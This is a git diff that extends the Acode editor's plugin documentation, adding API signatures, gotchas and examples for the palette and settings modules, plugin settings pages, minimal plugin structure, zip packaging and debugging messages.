+The `$page` passed to your `setPluginInit` callback is created by Acode (`src/lib/loadPlugin.js`). Its `show()` already pushes `actionStack.push({id: pluginId, action: $page.hide})`, and its `onhide` already calls `actionStack.remove(pluginId)`. Append a button to it instead of building a second page when you only need a launcher.
+:::
\ No newline at end of file
diff --git a/docs/editor-components/palette.md b/docs/editor-components/palette.md
index c559b62..39ceb3c 100644
--- a/docs/editor-components/palette.md
+++ b/docs/editor-components/palette.md
@@ -10,21 +10,62 @@ const palette = acode.require('palette');
 
 ## Usage
 
-The palette function accepts four parameters to configure its behavior:
+The palette function accepts up to five parameters:
 
 ```js
-palette(getList, onSelect, placeholder, onRemove);
+palette(getList, onSelect, placeholder, onRemove, options);
+```
+
+### Signature <Badge type="tip" text="new" />
+
+```js
+palette(
+  getList: (hintModification, query: string) => Hint[] | Promise<Hint[]>,
+  onSelect: (value: string) => void,
+  placeholder?: string,
+  onRemove?: () => void,
+  options?: { dynamic?: boolean },
+) => void
 ```
 
 ### Parameters
 
-- `getList` : `() => Array<string|string[]>` - Function that returns an array of options or Promises resolving to options. Called whenever the search input changes.
+- `getList` : `(hintModification, query) => Array<Hint> | Promise<Array<Hint>>` - Function that returns an array of options or a Promise resolving to options.
+- `onSelect` : `(value: string) => void` - Callback executed when the user selects an option. It receives the selected hint's **`value` string**, not its index and not the hint object.
+- `placeholder?` : `string` - Text to display in the input field when empty.
+- `onRemove?` : `() => void` - Callback triggered when the palette is closed/removed.
+- `options?` : `{ dynamic?: boolean }` - When `dynamic` is `true`, `getList` is re-invoked (debounced ~120 ms) on every keystroke. When it is omitted or `false`, `getList` is called **once** and the palette filters that list in memory.
+
+::: warning `getList`'s arguments are usually in the opposite order
+The palette builds its hints through `generateHints(setHints, hintModification, query)` and then calls `getList(hintModification, query)`. **The `HintModification` object comes first, the query string second** — not the other way round. The JSDoc on the component still says `(hints) => string[]`, which is stale.
+:::
 
-- `onSelect` : `(value: string) => void` - Callback function executed when the user selects an option. Receives the selected option value.
+## Hint item shape <Badge type="tip" text="new" />
 
-- `placeholder?` : `string` - Optional text to display in the input field when empty.
+Each entry of the array returned by `getList` is either a plain string, or an object:
 
-- `onRemove?` : `() => void` - Optional callback triggered when the palette is closed/removed.
+| Field | Type | Description |
+| --- | --- | --- |
+| `value` | `string` | The string handed to `onSelect`. Rendered as the row's `value` attribute |
+| `text` | `string` | **HTML** shown in the list row. It is passed through `DOMPurify.sanitize()`, so simple markup is allowed and scripts are stripped. Also what fills the input field on click |
+| `active` | `boolean` | Start with this row highlighted |
+
+Passing a bare string is shorthand for `{value: str, text: str}` — and because `text` is rendered as HTML you must escape user-controlled strings yourself.
+
+```js
+// strings
+['src/components/header.js', 'package.json'];
+
+// objects
+[
+  { value: 'file:///sdcard/a.js', text: '<strong>a.js</strong>' },
+  { value: 'file:///sdcard/b.js', text: '<strong>b.js</strong>', active: true },
+];
+```
+
+::: tip Filtering happens on `value` **and** `text`
+In non-dynamic mode the palette builds a case-insensitive regex from the input and keeps every hint whose `value` **or** `text` matches. `text` contains markup, so a `<strong>` inside it can affect matching.
+:::
 
 ## Example
 
@@ -58,9 +99,69 @@ palette(
 );
 ```
 
+## Dynamic (async) palette <Badge type="tip" text="new" />
+
+Use `dynamic: true` and return a Promise to query on every keystroke. The second argument is the current query string:
+
+```js
+const palette = acode.require('palette');
+const fileIndex = acode.require('fileIndex');
+
+palette(
+  async (hintModification, query) => {
+    if (!query) return [];
+    try {
+      const { entries = [] } = await fileIndex.query({ text: query, limit: 100 });
+      return entries.map((file) => ({
+        value: file.url,
+        text: `<strong>${file.name}</strong><br><small>${file.path}</small>`,
+      }));
+    } catch (error) {
+      return [];
+    }
+  },
+  (url) => {
+    console.log('selected', url);
+  },
+  'Go to file…',
+  () => console.log('palette closed'),
+  { dynamic: true },
+);
+```
+
+`hintModification` lets you patch the list in place while a request is in flight:
+
+| Method | Description |
+| --- | --- |
+| `add(item, index?)` | Insert a hint (at `index`, or append) and update the DOM |
+| `remove(item)` | Remove a hint by reference |
+| `removeIndex(index)` | Remove a hint by position |
+
+::: warning Escape user content in `text`
+`text` is rendered as HTML after `DOMPurify.sanitize()`. Sanitisation is applied, but a filename containing `<b>` will still render as bold. Escape with a helper before interpolating.
+:::
+
 The palette will automatically handle:
-- Keyboard navigation (arrow keys)
+- Keyboard navigation (arrow keys, wrapping at both ends)
 - Search filtering
 - Selection via enter/click
-- Closing via escape key or clicking outside
+- Closing via escape key, tapping the dimmed mask, blurring the input, or the hardware back button
 - Proper cleanup on remove
+
+## Gotchas <Badge type="tip" text="new" />
+
+::: warning
+- **It is not promise-based and returns nothing.** `palette(...)` returns `undefined`. There is no "resolved when dismissed" value to await — use `onRemove` if you need a close hook.
+- **`onSelect` receives `value`, not the index.** The selected row's `value` attribute is read from the DOM and passed through. If that attribute is empty, a click only closes the dropdown list (`onblur()`); the palette itself stays open.
+- **On click the input is filled with the row's `text`, not its `value`.** Pressing Enter does not rewrite the input at all. If you display markup in `text`, that markup lands in the search field.
+- **Pressing Enter with no highlighted row does nothing.** `handleKeypress` returns early when there is no `.active` element.
+- **`onRemove` suppresses the editor refocus.** When `onRemove` is provided, `remove()` returns early and never calls `focusEditorIfEditable()`. Provide `onRemove` only if you take over focus yourself.
+- **Only the first 100 hints are rendered at once.** Further pages are appended when the list is scrolled to the bottom. The comment in the source says "first 500", but the actual `LIMIT` constant is `100`.
+- **`remove()` is single-shot.** After the first removal it is replaced by a function that logs `Palette already removed.` at warn level, so a double back-press will not throw but will log.
+- **The action-stack id is the literal `"palette"`.** Only one palette can be on the back stack at a time; a nested palette overwrites the previous entry.
+- **A palette opened from another palette chains.** The previous palette is restored when the child closes, and the dimmed overlay is skipped for the child. If your `onSelect` callback opens a new palette, the current one is deliberately **not** removed.
+:::
+
+::: tip Lower-level control
+`acode.require('inputhints')` exposes the same list widget without the overlay. It takes an input element plus either a static hint array or a hint callback, and returns `{getSelected, container}`. Note that `getSelected()` is a no-op in this build — it does not return the active row — so read the `active` class off `container` yourself if you need it.
+:::
\ No newline at end of file
diff --git a/docs/editor-components/settings.md b/docs/editor-components/settings.md
index e26a23d..d3b3cb8 100644
--- a/docs/editor-components/settings.md
+++ b/docs/editor-components/settings.md
@@ -2,6 +2,8 @@
 
 The Settings module provides a way to interact with Acode's settings, allowing you to read, update and listen for changes to settings values.
 
+`acode.require('settings')` returns Acode's **live** `Settings` singleton — the same object the app itself uses. Mutating it changes the app's behaviour immediately.
+
 ## Getting Started
 
 To use the Settings module, first import it:
@@ -10,6 +12,19 @@ To use the Settings module, first import it:
 const settings = acode.require('settings');
 ```
 
+## Module shape <Badge type="tip" text="new" />
+
+| Member | Type | Description |
+| --- | --- | --- |
+| `value` | `object` | The **live** settings object. Assigning to it changes the app immediately, but does **not** save or emit events on its own |
+| `uiSettings` | `object` | Map of settings pages keyed by name, e.g. `plugin-<id>`. Lives **outside** `value`, so it is never written to `settings.json` |
+| `get(key)` | `(key: string) => any` | Shorthand for `value[key]` |
+| `update(settings?, showToast?, saveFile?)` | `async (...) => Promise<void>` | Apply and persist changed settings, emitting events |
+| `reset(setting?)` | `async (setting?: string) => Promise<void \| false>` | Restore defaults |
+| `on(event, callback)` | `(event: string, callback: Function) => void` | Subscribe |
+| `off(event, callback)` | `(event: string, callback: Function) => void` | Unsubscribe |
+| `settingsFile` | `string` | Absolute path of `settings.json` (set during `init()`) |
+
 ## Basic Usage
 
 ### Reading Settings
@@ -22,8 +37,15 @@ const fontSize = settings.get('fontSize');
 
 // Get current theme
 const theme = settings.get('appTheme');
+
+// value[key] is the same thing
+const tabSize = settings.value.tabSize;
 ```
 
+::: warning `get()` never throws
+`get()` is `value[key]`. An unknown key returns `undefined` — there is no default-value fallback and no validation.
+:::
+
 ### Adding New Fields 
 
 Add one field or more then one subfields using `value[]` attribute:
@@ -46,6 +68,34 @@ settings.value["my-acode-plugin.id"] = {
 }
 ```
 
+::: warning Persist it yourself — and know when events fire
+Assigning to `settings.value` only changes the in-memory object. Call `settings.update(false)` afterwards: it writes **the whole** `value` (brand-new keys included) to `settings.json` without a toast. That is what Acode's own icon-pack code does with `settings.value.iconTheme`.
+
+```js
+settings.value['my-acode-plugin.id'] = { port: 5000 };
+await settings.update(false); // false = no confirmation toast, saveFile defaults to true
+```
+
+Two subtleties:
+
+- **Change detection only looks at keys that already existed in the last saved snapshot.** A key you just introduced will be written to disk, but `update:<key>` does **not** fire for it during that same call — it only becomes "changed" from the next launch onwards. Deep objects are compared with a recursive equality check, so mutating a nested property *does* mark its **top-level** key as changed.
+- **Events are keyed by top-level key, never by nested path.** With `settings.value['my-plugin'] = { port }`, subscribe to `settings.on('update:my-plugin', cb)` — there is no `update:my-plugin.port`.
+:::
+
+::: tip Idiomatic plugin pattern
+Store everything under one namespaced top-level key. Assign it once at startup so it exists in the file, then mutate the nested object and call `settings.update(false)`. Every later change is detected normally and emits `update:<your-key>`.
+
+```js
+const KEY = 'my-plugin';
+
+settings.value[KEY] ??= { port: 5000, host: 'localhost' };
+await settings.update(false); // ensure it is on disk
+
+// later, on any change:
+settings.value[KEY].port = 8080;
+await settings.update(false); // emits update:my-plugin
+```
+:::
 
 ### Updating Settings
 
@@ -53,30 +103,65 @@ Update one or more settings using the `update()` method:
 
 ```js
 // Update single setting
-settings.update({
+await settings.update({
 		fontSize: '16px'
 });
 
 // Update multiple settings
-settings.update({
+await settings.update({
 		fontSize: '16px',
 		appTheme: 'dark',
 		tabSize: 4
 });
 ```
 
+#### `update(settings?, showToast?, saveFile?)`
+
+| Argument | Type | Default | Description |
+| --- | --- | --- | --- |
+| `settings` | `object` | `undefined` | Keys to assign. **Only keys already present in `settings.value` are applied** |
+| `showToast` | `boolean` | `true` | Show the confirmation toast. `update(false)` is the idiomatic "silent persist" call |
+| `saveFile` | `boolean` | `true` | Write `settings.json`. Pass `false` to fire events without persisting |
+
+Calling `update(true)` (or `update(false)`) is treated as `update(undefined, showToast)`.
+
+What happens, in order:
+
+1. Changed keys are computed by diffing `settings.value` against the last saved snapshot (objects compared deeply).
+2. For each changed key: the built-in applier runs (`animation`, `uiZoom` and `lang` have side effects), then the `update` listeners and that key's `update:<key>` listeners are called with `settings.value[key]`.
+3. `settings.json` is written, unless `saveFile` is `false`.
+4. Then the `update:<key>:after` listeners run with `settings.value[key]`.
+
+::: warning Changed keys only
+Keys you pass that are **not already in `settings.value`** are silently ignored. Assign the key directly (`settings.value.x = ...`) before calling `update()` if it is new.
+:::
+
 ### Resetting Settings
 
 Reset settings to their default values:
 
 ```js
 // Reset all settings
-settings.reset();
+await settings.reset();
 
 // Reset specific setting
-settings.reset('fontSize');
+await settings.reset('fontSize');
+```
+
+`reset(setting)` returns `false` (and changes nothing) when the key is not an Acode default. Every `reset` listener is then called with the whole `settings.value`.
+
+::: danger `reset()` replaces the `value` object
+`reset()` (with no argument) assigns `this.value = this.#defaultSettings`, a **new object**. Any plugin variable that captured `settings.value` — or a nested object inside it — is now detached and writes to it are lost. Re-read `settings.value` after a global reset:
+
+```js
+await settings.reset();
+settings.value['my-plugin.id'] = { port: 5000 }; // re-read, do not reuse the old object
+await settings.update(false);
 ```
 
+`reset('someKey')` mutates in place and is safe.
+:::
+
 ## Event Handling
 
 The settings module allows you to listen for setting changes using event handlers.
@@ -109,41 +194,280 @@ settings.on('update:fontSize', handler);
 settings.off('update:fontSize', handler);
 ```
 
+## Events <Badge type="tip" text="corrected" />
+
+| Event | Payload | When |
+| --- | --- | --- |
+| `update` | `(value)` | For **every** changed setting. Receives the value of the setting currently being processed |
+| `update:<setting>` | `(value)` | For that setting — but see the warning below |
+| `update:<setting>:after` | `(value)` | Same, but after `settings.json` has been written |
+| `update:after` | `(value)` | After saving, for every changed setting |
+| `reset` | the entire `settings.value` | Once, after `reset()` finished |
+
+Three keys are matched by listener name: `update`, `update:after` and `reset`. Every other name is created lazily, so `update:<anyKey>` and `update:<anyKey>:after` work for keys Acode does not know about, including your own plugin keys.
+
+::: warning `update:<key>` listeners can fire more than once per `update()` call
+Both loops accumulate listeners into a **single shared array** while iterating the changed keys. Once your `update:x` listener has been pushed, it is invoked for that setting *and for every remaining changed setting*. The same applies to `update:x:after` and `update:after`.
+
+This only bites when one `update()` call changes two or more settings. Guard by comparing the payload, or keep the handler cheap and idempotent:
+
+```js
+let lastPort;
+settings.on('update:my-plugin', (values) => {
+	if (values.port === lastPort) return;
+	lastPort = values.port;
+	// …
+});
+```
+:::
+
+::: danger `off()` removes the wrong entry when the callback is not registered
+`off()` is implemented as `list.splice(list.indexOf(callback), 1)`. When the callback is not in the list, `indexOf` returns `-1` and `splice(-1, 1)` deletes the **last** listener. Always pass the exact same function reference you gave to `on()`, and only call `off()` while you know it is registered.
+:::
+
+## Plugin settings pages <Badge type="tip" text="new" />
+
+### Registering
+
+`acode.setPluginInit(id, init, {list, cb})` builds a ready-made settings page for you and stores it under `appSettings.uiSettings["plugin-<id>"]`:
+
+```js
+acode.setPluginInit(
+	'com.example.plugin',
+	(baseUrl) => { /* ... */ },
+	{
+		list: [
+			{ key: 'greeting', text: 'Greeting', prompt: 'Enter a greeting' },
+			{ key: 'verbose', text: 'Verbose logging', checkbox: false },
+		],
+		cb(key, value) {
+			// key matches the ListItem key you defined
+		},
+	},
+);
+```
+
+Acode builds the page with these options, which is why plugin settings keep your declared order and render their value in the row tail:
+
+| Option | Value used by Acode |
+| --- | --- |
+| `preserveOrder` | `true` |
+| `pageClassName` | `"detail-settings-page"` |
+| `listClassName` | `"detail-settings-list"` |
+| `valueInTail` | `true` |
+| `groupByDefault` | `true` |
+| `type` | `"united"` (default) — searching covers all settings pages, not just this one |
+
+### Where it appears
+
+The page is **not** part of Acode's main Settings list. `src/pages/plugin/plugin.js` looks up `settings.uiSettings["plugin-" + plugin.id]`, renames the page to the plugin's display name, and appends a gear icon to the plugin details page header that calls `pluginSettings.show()`.
+
+`unmountPlugin(id)` deletes the key (`delete appSettings.uiSettings["plugin-" + id]`) and calls `fileIcons.unregisterByPlugin(id)`. That is why a plugin's settings row disappears when it is disabled, reloaded or fails to initialize.
+
+### Building the page yourself
+
+::: warning `settingsPage` is not a public module
+`acode.require('settingsPage')` returns `undefined` — `src/lib/acode.js` imports the component but never registers it. Plugins must go through `acode.setPluginInit(id, init, {list, cb})`.
+:::
+
+The page object Acode builds *is* reachable, through `settings.uiSettings`. You can drive it from a command or a page of your own:
+
+```js
+const settings = acode.require('settings');
+
+function openMySettings() {
+	const page = settings.uiSettings['plugin-com.example.plugin'];
+	page?.show(); // also: setTitle(), search(), restoreList(), hide()
+}
+```
+
+The returned page object exposes: `show(goTo?)`, `hide()`, `search(key)`, `restoreList()`, `setTitle(title)`, `setItemVisibility(key, visible)`, `onClose(callback)` and `getListElement()`.
+
+`show(goTo)` pushes `{id: title}` onto the action stack, appends the page to `app`, shows an ad, then either scrolls to and clicks the row whose `data-key` matches `goTo`, or focuses the list. `show()`/`hide()` are removed from the back stack by the page's own `onhide`. `onClose` callbacks run once when the page hides, and their errors are caught and logged.
+
+### `ListItem` shape <Badge type="tip" text="new" />
+
+```js
+{ key: string, text: string, ... }
+```
+
+`key` must be unique (it becomes `data-key`), `text` is the row title and is capitalised for display.
+
+| Field | Type | Effect |
+| --- | --- | --- |
+| `text` | `string` | Row title (capitalised) |
+| `key` | `string` | Row identity, passed to `cb` and `setItemVisibility` |
+| `value` | `any` | Current value. A **boolean** `value` also turns the row into a checkbox switch |
+| `checkbox` | `boolean` | Force checkbox-switch rendering, independent of `value` |
+| `prompt` | `string` | Tap the row to open a prompt dialog; the typed text becomes the new value |
+| `promptType` | `string` | `"text"`, `"textarea"`, `"number"`, `"tel"`, `"search"`, `"email"`, `"url"`, `"filename"` |
+| `promptOptions` | `object` | `{match, required, placeholder, capitalize, test}` |
+| `select` | `Array` | Tap the row to open a select dialog. Items may be strings, `[value, text, icon, disabled, letters, checkbox]` tuples, or objects `{value, text, subText, icon, fileIcon, className, title, disabled, letters, checkbox, tailElement, ontailclick}` |
+| `file` | `boolean` | Tap the row to pick a **file** with Acode's file browser; the chosen URL becomes the value |
+| `folder` | `boolean` | Same, for a folder |
+| `color` | `boolean` | Tap the row to open the colour picker; cancels leave the value untouched |
+| `link` | `string` | Tap the row to open the URL in the system browser. `cb` is **not** called |
+| `info` | `string` | Subtitle text |
+| `valueText` | `(value) => string` | Format `value` for display |
+| `icon` | `string` | Icon-font class for the leading icon |
+| `iconColor` | `string` | CSS colour used as a background swatch |
+| `image` | `string` | Image URL rendered as the leading icon |
+| `fileIcon` | `{name, kind}` | Resolve the leading icon through the icon-pack API |
+| `category` | `string` | Group rows under a section label |
+| `searchGroup` | `string` | Group label used in search results instead of the page title |
+| `index` | `number` | Insert at this exact position, ignoring the sort |
+| `chevron` | `boolean` | Force the trailing chevron |
+| `sake` | `boolean` | Render in the grid/`sake` layout |
+| `hidden` | `boolean` | Start hidden (also sets `aria-hidden`) |
+| `note` | `string` | Not a row: an item carrying `note` is pulled out of the list and rendered as an info note above or below it |
+
+Interaction handlers are tried in this order, and the **first** matching field wins:
+
+1. `select` 2. `checkbox` 3. `prompt` 4. `file` / `folder` 5. `color` 6. `link` 7. none
+
+A row with none of those still calls `cb(key, item.value)` with the **unchanged** value — that is the "tap to run code" pattern. Cancelling a prompt, the colour picker or opening a `link` skips `cb` entirely.
+
+::: tip Use `prompt` for a simple settings row
+This is the smallest complete plugin setting:
+
+```js
+{ key: 'host', text: 'Host', value: 'localhost', prompt: 'Server host' }
+```
+:::
+
+## Complete plugin example <Badge type="tip" text="new" />
+
+```js
+// main.js
+if (window.acode) {
+	const settings = acode.require('settings');
+	const toast = acode.require('toast');
+	const storageKey = 'com.example.plugin';
+
+	// 1. Backfill defaults at REGISTRATION time.
+	//    settings.list is evaluated inside setPluginInit(), before init runs,
+	//    so the values must exist before we build the rows.
+	//    One namespaced top-level key keeps change detection and events simple.
+	settings.value[storageKey] = {
+		greeting: 'Hello',
+		level: 'info',
+		verbose: false,
+		...(settings.value[storageKey] || {}),
+	};
+	const values = settings.value[storageKey];
+
+	// 2. Mutating settings.value does not save or emit — persist silently.
+	//    (The first call also writes the brand-new key to settings.json.)
+	function save() {
+		return settings.update(false);
+	}
+
+	// 3. React to Acode's own settings, and to our own key, from anywhere.
+	function onFontSize(value) {
+		console.log('Acode font size is now', value);
+	}
+	function onOwnValues(next) {
+		console.log('plugin settings changed:', next);
+	}
+	settings.on('update:fontSize', onFontSize);
+	settings.on(`update:${storageKey}`, onOwnValues);
+
+	save(); // make sure our key is on disk
+
+	acode.setPluginInit(
+		storageKey,
+		(baseUrl, $page) => {
+			// greeting is whatever the user typed into the prompt, so it must be
+			// text, not markup. Acode does the same: it only assigns innerHTML
+			// after DOMPurify.sanitize(), and uses textContent for plain text.
+			const greeting = tag('p', { textContent: values.greeting });
+			const level = tag('small', { textContent: values.level });
+
+			$page.appendBody(greeting, level);
+		},
+		{
+			list: [
+				{
+					key: 'greeting',
+					text: 'Greeting',
+					value: values.greeting,
+					prompt: 'Greeting shown on the plugin page',
+					promptOptions: { required: true },
+				},
+				{
+					key: 'level',
+					text: 'Log level',
+					value: values.level,
+					select: ['debug', 'info', 'error'],
+				},
+				{
+					key: 'verbose',
+					text: 'Verbose logging',
+					value: values.verbose,
+				},
+			],
+			cb(key, value) {
+				// The page has already updated its own copy of the row.
+				values[key] = value;
+				save().then(() => toast(`${key} saved`));
+			},
+		},
+	);
+
+	acode.setPluginUnmount(storageKey, () => {
+		// off() needs the exact same function reference given to on()
+		settings.off('update:fontSize', onFontSize);
+		settings.off(`update:${storageKey}`, onOwnValues);
+	});
+}
+```
+
+::: warning `setPluginInit` evaluates `list` immediately
+`settings.list` is read **inside** `setPluginInit`, long before your init callback runs. That is why the example above backfills `settings.value` and captures `values` at registration time. If you need rows derived from state created during init, build them yourself in the init callback and register your own page instead.
+:::
+
+::: tip The `cb` order
+`settingsPage` updates `item.value` and re-renders the row **before** calling `cb(key, item.value)`, so the value you receive is the new one. A cancelled prompt, a cancelled colour picker, or a `link` row never reaches `cb`.
+:::
+
 ## API Reference
 
 ### Methods
 
-#### `get(setting: string)`
+#### `get(key: string)`
 Gets the value of a setting
 
 Parameters:
-- `setting`: Name of the setting to get
+- `key`: Name of the setting to get
 
-Returns: The current value of the setting
+Returns: The current value of the setting (`undefined` for unknown keys)
 
-#### `update(settings: object, showToast?: boolean)`
+#### `update(settings?: object, showToast?: boolean, saveFile?: boolean): Promise<void>`
 Updates one or more settings
 
 Parameters:
-- `settings`: Object containing settings to update
-- `showToast`: Whether to show a confirmation toast (default: true)
+- `settings`: Object containing settings to update. Only keys already in `settings.value` are applied
+- `showToast`: Whether to show a confirmation toast (default: `true`)
+- `saveFile`: Whether to write `settings.json` (default: `true`)
 
-#### `reset(setting?: string)`
+#### `reset(setting?: string): Promise<void | false>`
 Resets settings to default values
 
 Parameters:
 - `setting`: Optional specific setting to reset. If omitted, resets all settings
 
+Returns: `false` when `setting` is not a known Acode setting; otherwise `undefined`
+
 #### `on(event: string, callback: Function)`
 Adds an event listener
 
 Parameters:
-- `event`: Event name in format 'update:setting' or 'reset'
-- `callback`: Function to call when event occurs
+- `event`: Event name. Built-ins are `update`, `update:after` and `reset`; `update:<setting>` and `update:<setting>:after` are matched per setting
+- `callback`: Function to call when event occurs. Receives the new value (`reset` receives the whole `settings.value`)
 
 #### `off(event: string, callback: Function)`
 Removes an event listener
 
 Parameters:
 - `event`: Event name
-- `callback`: Function to remove
+- `callback`: The **exact** function reference passed to `on()`
\ No newline at end of file
diff --git a/docs/getting-started/create-plugin.md b/docs/getting-started/create-plugin.md
index f972f93..9047036 100644
--- a/docs/getting-started/create-plugin.md
+++ b/docs/getting-started/create-plugin.md
@@ -24,9 +24,116 @@ Acode plugins follow a specific structure within a zip file. The necessary compo
 3. **readme.md:**
    - Contains the description or about plugin
 
-3. **changelogs.md:**
+4. **changelogs.md:**
    - contains changelogs of your plugin updates.
 
+`plugin.json` must be at the **root** of the zip: Acode reads it from the archive root and refuses the install otherwise. The full field reference lives in [Manifest — `plugin.json`](../plugin-essentials/manifest.md), and the entry file is covered in [Plugin Main File](../plugin-essentials/core-file.md).
+
+## Minimal Plugin From Scratch <Badge type="tip" text="new" />
+
+If you would rather skip the templates, this is the smallest plugin Acode will load.
+
+```text
+my-plugin/
+├── plugin.json
+└── main.js
+```
+
+::: code-group
+```json [plugin.json]
+{
+	"id": "com.example.plugin",
+	"name": "Example Plugin",
+	"main": "main.js",
+	"version": "1.0.0",
+	"readme": "readme.md",
+	"icon": "icon.png",
+	"author": {
+		"name": "Example Author"
+	}
+}
+```
+
+```js [main.js]
+const plugin = { id: "com.example.plugin" };
+
+if (window.acode) {
+	acode.setPluginInit(plugin.id, async (baseUrl, $page) => {
+		const commands = acode.require("commands");
+
+		commands.addCommand({
+			name: "example-plugin",
+			description: "Open the example plugin page",
+			bindKey: { win: "Ctrl-Alt-E", mac: "Command-Alt-E" },
+			exec: () => {
+				$page.innerHTML = "<h1>Example Plugin</h1>";
+				$page.show();
+				return true;
+			},
+		});
+	});
+
+	acode.setPluginUnmount(plugin.id, () => {
+		acode.require("commands").removeCommand("example-plugin");
+	});
+}
+```
+:::
+
+::: warning `main.js` is a classic script — no `import` without a bundler
+Acode injects your entry file with `<script id="${pluginId}-mainScript" src={mainUrl}>` and `document.head.append($script)` (`src/lib/loadPlugin.js:48-49`, `:101`). There is no `type="module"`, no transform and no rewrite — so a bare `import` line is a syntax error at runtime, and zipping these two files as-is would fail with `Failed to load script for plugin <id>`.
+
+`import plugin from "../plugin.json";` is a **bundler convention** used by the official templates: esbuild/webpack resolve the JSON and inline it into `dist/main.js` at build time. See [Plugin Main File → `Accessing plugin-relative files`](../plugin-essentials/core-file.md#accessing-plugin-relative-files).
+
+Without a bundler the id has to come from somewhere else. Either hardcode it, as above, or read it back off the script element Acode created:
+
+```js
+// loadPlugin.js names the tag `<pluginId>-mainScript`
+const pluginId = document.currentScript.id.replace(/-mainScript$/, "");
+```
+
+Either way the string must equal the `id` in `plugin.json`, because the installer uses `pluginJson.id` as the plugin folder name (`src/lib/installPlugin.js:166`) and `acode.setPluginInit` / `acode.setPluginUnmount` are keyed by that id.
+:::
+
+Notes on that shape, taken from the loader:
+
+- The `id` string is the only thing you need from the manifest. Acode never reads the id out of your script — `plugin.json` is read by `loadPlugin.js` and by the installer, not by your entry file.
+- The `init` callback receives `(baseUrl, $page, options)`, where `options` is `{ cacheFileUrl, cacheFile, firstInit, ctx, fileIcons }`. This example only uses `$page`; [Plugin Main File](../plugin-essentials/core-file.md) documents every option.
+- `init` is awaited by Acode, so it may be `async`. `setPluginInit`'s third argument (`{ list, cb }`) is optional and adds a settings page for your plugin.
+- `main.js` is injected as a plain `<script>` tag, so only the callbacks you register participate in Acode's lifecycle. Keep the rest of your code inside them.
+
+Both manifest fields above are also the only two the installer validates: `plugin.json` must exist at the archive root (`installPlugin.js:108`) and `main` must resolve to a file that exists (`:118`, `:132`). `icon`, `readme` and `main` are patched to `icon.png` / `readme.md` / `main.js` when missing (`:117-131`), so the two-file zip installs as-is.
+
+## Packaging The Plugin Zip <Badge type="tip" text="new" />
+
+The zip must contain `plugin.json` **at the root** — not inside a folder:
+
+```text
+plugin.zip            <- the file you install
+├── plugin.json       <- root, required
+├── main.js           <- or whatever `main` points to
+├── icon.png          <- what `icon` points to
+├── readme.md
+└── changelogs.md
+```
+
+:::danger
+Zipping the containing folder (so the zip contains `my-plugin/plugin.json`) makes the install fail: Acode looks for `plugin.json` in the archive root and reports `Invalid Plugin`.
+:::
+
+While installing, Acode normalizes what it finds:
+
+| Manifest field | Behaviour when the file is missing |
+| --- | --- |
+| `main` | Patched to `main.js`; if that is also missing, the install fails with `Invalid Plugin` |
+| `icon` | Patched to `icon.png` |
+| `readme` | Patched to `readme.md` |
+| `changelogs` | Left as declared — ship the file or drop the field |
+
+Zip entry paths are sanitized before extraction: absolute entries (leading `/`, network paths, `C:/`-style roots) are skipped and reported as `Skipped N unsafe archive entries (e.g., …)`, and `..` segments cannot escape the plugin folder.
+
+Files present in a previous install but absent from the new zip are deleted, so an update replaces the plugin folder instead of merging into it.
+
 ## Plugin Templates
 
 To make your journey smoother, we provide comprehensive plugin templates, which are preconfigured and catering to various use cases:
@@ -129,6 +236,50 @@ It's more convenient to manage this from the sidebar. When you install a local p
 This makes plugin development a much smoother experience—previously, it was quite frustrating, but this feature was recently added to improve the workflow.
 :::
 
+## Testing The Plugin <Badge type="tip" text="new" />
+
+Acode installs a plugin from three kinds of source, and both entry points — *Settings → Plugins* and the sidebar's **Extensions** tab — accept the same two inputs: a **Remote** URL, or a **Local** file picked in the file browser.
+
+| Source | What you give Acode | Notes |
+| --- | --- | --- |
+| Remote | A URL to your `plugin.zip` | Downloaded with the Cordova HTTP client, so it can be any `http(s)`, `file`, or `content` URL |
+| Local | A file picked in the file browser | The selected `content://` / `file://` path is used directly |
+| Registry | A plugin id from the plugin list | Downloads the published zip from the Acode API |
+
+After the files are extracted, Acode loads the plugin immediately — there is no restart. A loader dialog shows the download/extract progress, and any error is surfaced as a toast.
+
+:::warning
+The **reload** icon in the sidebar's **Extensions** list only appears for plugins installed from a URL or a picked file. Acode stores that source in the manifest as `source`, and the icon re-runs the install from it. Plugins installed from the registry have no `source`, so there is nothing to reload.
+:::
+
+## Debugging <Badge type="tip" text="new" />
+
+Plugin failures are reported to the Acode console — open it from **Settings → Advanced → Console**, or run `acode.exec("console")` from another plugin. Turn on **Settings → Advanced → Developer mode** if you also want the in-app developer tools loaded at startup. Then reinstall your plugin and read the log — these are the exact strings Acode emits, so you can search for them:
+
+```text
+Failed to load script for plugin <id>: <error.message | error>
+Plugin load timeout
+Error loading plugin <id>: <error>
+Error while calling unmount callback for plugin "<id>"
+Command registration skipped: missing name
+Command registration skipped for "<name>": exec must be a function.
+Command "<name>" failed
+Failed to add command <name>
+Plugin installer: skipped unsafe absolute paths in archive: <list>
+```
+
+What they mean:
+
+- **`Failed to load script for plugin <id>`** — the `<script>` tag for your entry file failed to load or execute. Usually a wrong `main` path or a syntax error in the bundle.
+- **`Plugin load timeout`** — `init` did not settle within 15 seconds. Move slow work out of `init`.
+- **`Error loading plugin <id>`** — the batch loader caught a rejected load; the full error object follows.
+- **`Command registration skipped …`** — the command was silently ignored. `name` and `exec` are both required.
+- **`Command "<name>" failed`** — your `exec` threw; Acode catches it so one bad command cannot crash the palette.
+
+:::tip
+If your plugin stops loading after an update, it was probably auto-disabled: Acode disables a plugin that throws, shows it switched off in the plugin list, and skips it on every later start. Toggle it back on (or reinstall) once you have fixed the error. See [Understanding How Plugins Work → Failure Behavior](./understanding-plugin.md#failure-behavior-you-should-know).
+:::
+
 ## Creating Plugins with the CLI<Badge type="warning" text="community" />
 
 You can also quickly scaffold new Acode plugins using the [Acode Plugin CLI](https://github.com/itsvks19/acode-plugin-cli). This tool provides an interactive wizard to generate a plugin project from the official JavaScript or TypeScript templates.
@@ -183,6 +334,7 @@ To share your plugin with the Acode community, follow these steps:
     ```sh [bun]
     $ bun run build
     ```
+    :::
 
 2. **Publish:**
 
diff --git a/docs/getting-started/intro.md b/docs/getting-started/intro.md
index c160722..f782911 100644
--- a/docs/getting-started/intro.md
+++ b/docs/getting-started/intro.md
@@ -15,6 +15,33 @@ title: Acode Plugins
 
 Acode plugins are primarily written in JavaScript, offering a familiar and widely-used language for developers. Additionally, for those who prefer TypeScript, **good news 🥳** — Acode supports `TypeScript` for plugin development, providing the benefits of static typing and improved developer experience.
 
+### Prerequisites <Badge type="tip" text="new" />
+
+- **JavaScript** for your plugin logic. Acode injects your `main.js` as a plain `<script>`, so you write browser code — no build step is required.
